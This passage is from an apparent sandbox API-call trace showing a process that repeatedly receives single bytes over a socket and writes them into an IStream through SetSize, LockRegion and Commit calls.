libOffset=0x19, cb=0x0, dwLockType=0x0) returned 0x0 [0055.506] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.506] IStream:LockRegion (This=0x76e560, libOffset=0x1a, cb=0x0, dwLockType=0x0) returned 0x0 [0055.506] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.506] IStream:LockRegion (This=0x76e560, libOffset=0x1b, cb=0x0, dwLockType=0x0) returned 0x0 [0055.506] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.506] IStream:LockRegion (This=0x76e560, libOffset=0x1c, cb=0x0, dwLockType=0x0) returned 0x0 [0055.506] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.506] IStream:LockRegion (This=0x76e560, libOffset=0x1d, cb=0x0, dwLockType=0x0) returned 0x0 [0055.506] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.506] IStream:LockRegion (This=0x76e560, libOffset=0x1e, cb=0x0, dwLockType=0x0) returned 0x0 [0055.506] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.506] IStream:LockRegion (This=0x76e560, libOffset=0x1f, cb=0x0, dwLockType=0x0) returned 0x0 [0055.506] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.506] IStream:LockRegion (This=0x76e560, libOffset=0x20, cb=0x0, dwLockType=0x0) returned 0x0 [0055.506] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.506] IStream:LockRegion (This=0x76e560, libOffset=0x21, cb=0x0, dwLockType=0x0) returned 0x0 [0055.507] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.507] IStream:LockRegion (This=0x76e560, libOffset=0x22, cb=0x0, dwLockType=0x0) returned 0x0 [0055.507] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.507] IStream:LockRegion (This=0x76e560, libOffset=0x23, cb=0x0, dwLockType=0x0) returned 0x0 [0055.507] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.507] IStream:LockRegion (This=0x76e560, libOffset=0x24, cb=0x0, dwLockType=0x0) returned 0x0 [0055.507] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.507] IStream:LockRegion (This=0x76e560, libOffset=0x25, cb=0x0, dwLockType=0x0) returned 0x0 [0055.507] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.507] IStream:LockRegion (This=0x76e560, libOffset=0x26, cb=0x0, dwLockType=0x0) returned 0x0 [0055.507] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.507] IStream:LockRegion (This=0x76e560, libOffset=0x27, cb=0x0, dwLockType=0x0) returned 0x0 [0055.507] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.507] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.507] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.507] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.508] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.508] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.508] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.508] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.508] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.508] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.508] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.508] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.508] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.508] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.509] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.509] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.509] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.509] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.509] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.509] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.509] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.509] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.509] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.509] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.510] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.510] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.510] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.510] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.510] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.510] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.510] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.510] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.510] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.510] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.511] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.511] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.511] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.511] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.511] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.511] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.511] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.511] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.511] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.511] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.512] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.512] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.512] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.512] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.512] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.512] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.512] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.512] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.513] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.513] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.513] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.513] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.513] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.513] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.513] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.513] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.513] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.514] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.514] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.514] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.514] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.514] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.514] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.514] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.514] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.514] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.514] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.514] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.514] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.514] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.515] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.515] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.515] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.515] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.515] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.515] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.515] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.515] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.515] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.515] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.515] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.515] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.515] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.515] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.515] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.515] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.515] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.515] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.515] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.515] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.515] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.515] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.515] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.515] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.515] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.515] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.515] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.515] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.515] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.515] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.515] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.515] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.515] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.515] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.515] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.515] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.515] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.516] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.516] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.516] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.516] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.516] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.516] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.516] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.516] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.516] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.516] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.516] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.516] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.516] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.516] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.516] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.516] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.516] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.516] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.516] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.516] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.516] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.516] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.516] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.516] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.516] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.516] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.516] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.516] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.516] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.516] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.516] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.516] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.516] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.516] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.516] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.517] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.517] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.517] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.517] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.517] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.517] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.517] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.517] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.517] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.517] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.517] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.517] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.517] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.517] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.517] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.517] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.517] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.517] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.517] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.517] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.517] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.517] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.517] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.517] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.517] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.517] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.517] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.517] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.518] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.518] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.518] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.518] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.518] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.518] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.518] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.518] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.518] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.518] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.518] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.518] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.518] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.518] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.518] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.518] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.518] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.518] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.518] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.518] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.518] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.518] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.518] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.518] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.518] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.518] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.518] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.518] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.518] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.518] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.519] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.519] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.519] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.519] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.519] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.519] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.519] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.519] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.519] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.519] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.519] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, 